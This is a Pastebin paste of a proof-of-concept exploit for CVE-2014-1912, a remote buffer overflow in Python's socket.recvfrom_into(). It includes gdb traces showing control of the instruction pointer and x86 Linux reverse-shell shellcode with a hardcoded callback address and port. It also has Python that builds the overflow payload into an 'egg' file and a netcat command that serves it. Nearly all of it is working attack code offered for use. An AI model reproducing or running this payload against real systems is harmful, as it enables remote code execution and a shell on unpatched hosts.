stoker

Python BOF Exploit

Feb 28th, 2014
653
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.64 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. '''
  4. # Exploit Title: python socket.recvfrom_into() remote buffer overflow
  5. # Date: 21/02/2014
  6. # Exploit Author: @sha0coder
  7. # Vendor Homepage: python.org
  8. # Version: python2.7 and python3
  9. # Tested on: linux 32bit + python2.7
  10. # CVE : CVE-2014-1912
  11.  
  12.  
  13.  
  14. socket.recvfrom_into() remote buffer overflow Proof of concept
  15. by @sha0coder
  16.  
  17. TODO: rop to evade stack nx
  18.  
  19.  
  20. (gdb) x/i $eip
  21. => 0x817bb28:    mov    eax,DWORD PTR [ebx+0x4]       <--- ebx full control => eax full conrol
  22.   0x817bb2b:   test   BYTE PTR [eax+0x55],0x40
  23.   0x817bb2f:   jne    0x817bb38 -->
  24.   ...
  25.   0x817bb38:   mov    eax,DWORD PTR [eax+0xa4]      <--- eax full control again
  26.   0x817bb3e:   test   eax,eax
  27.   0x817bb40:   jne    0x817bb58 -->
  28.   ...
  29.   0x817bb58:   mov    DWORD PTR [esp],ebx
  30.   0x817bb5b:   call   eax <--------------------- indirect fucktion call ;)
  31.  
  32.  
  33. $ ./pyrecvfrominto.py
  34.    egg file generated
  35.  
  36. $ cat egg | nc -l 8080 -vv
  37.  
  38. ... when client connects ... or wen we send the evil buffer to the server ...
  39.  
  40. 0x0838591c in ?? ()
  41. 1: x/5i $eip
  42. => 0x838591c:    int3                <--------- LANDED!!!!!
  43.   0x838591d:   xor    eax,eax
  44.   0x838591f:   xor    ebx,ebx
  45.   0x8385921:   xor    ecx,ecx
  46.   0x8385923:   xor    edx,edx
  47.  
  48. '''
  49.  
  50. import struct
  51.  
  52. def off(o):
  53.     return struct.pack('L',o)
  54.  
  55.  
  56. reverseIP = '\xc0\xa8\x04\x34'   #'\xc0\xa8\x01\x0a'
  57. reversePort = '\x7a\x69'
  58.  
  59.  
  60. #shellcode from exploit-db.com, (remove the sigtrap)
  61. shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\
  62.             "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\
  63.             "\x01\x6a\x02\x89\xe1\xcd\x80\x89"\
  64.             "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\
  65.             reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\
  66.             "\xc3\x89\xe1\x6a\x10\x51\x56\x89"\
  67.             "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\
  68.             "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\
  69.             "\xc0\x52\x68\x6e\x2f\x73\x68\x68"\
  70.             "\x2f\x2f\x62\x69\x89\xe3\x52\x53"\
  71.             "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\
  72.             "\x80"
  73.  
  74.  
  75. shellcode_sz = len(shellcode)
  76.  
  77. print 'shellcode sz %d' % shellcode_sz
  78.  
  79.  
  80. ebx =  0x08385908
  81. sc_off = 0x08385908+20
  82.  
  83. padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'
  84.  
  85. '''          
  86.        +------------+----------------------+         +--------------------+
  87.        |            |                      |         |                    |
  88.        V            |                      |         V                    |
  89. '''
  90. buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off)  # .. and landed ;)
  91.  
  92.  
  93. print 'buff sz: %s' % len(buff)
  94. open('egg','w').write(buff)
Add Comment
Please, Sign In to add comment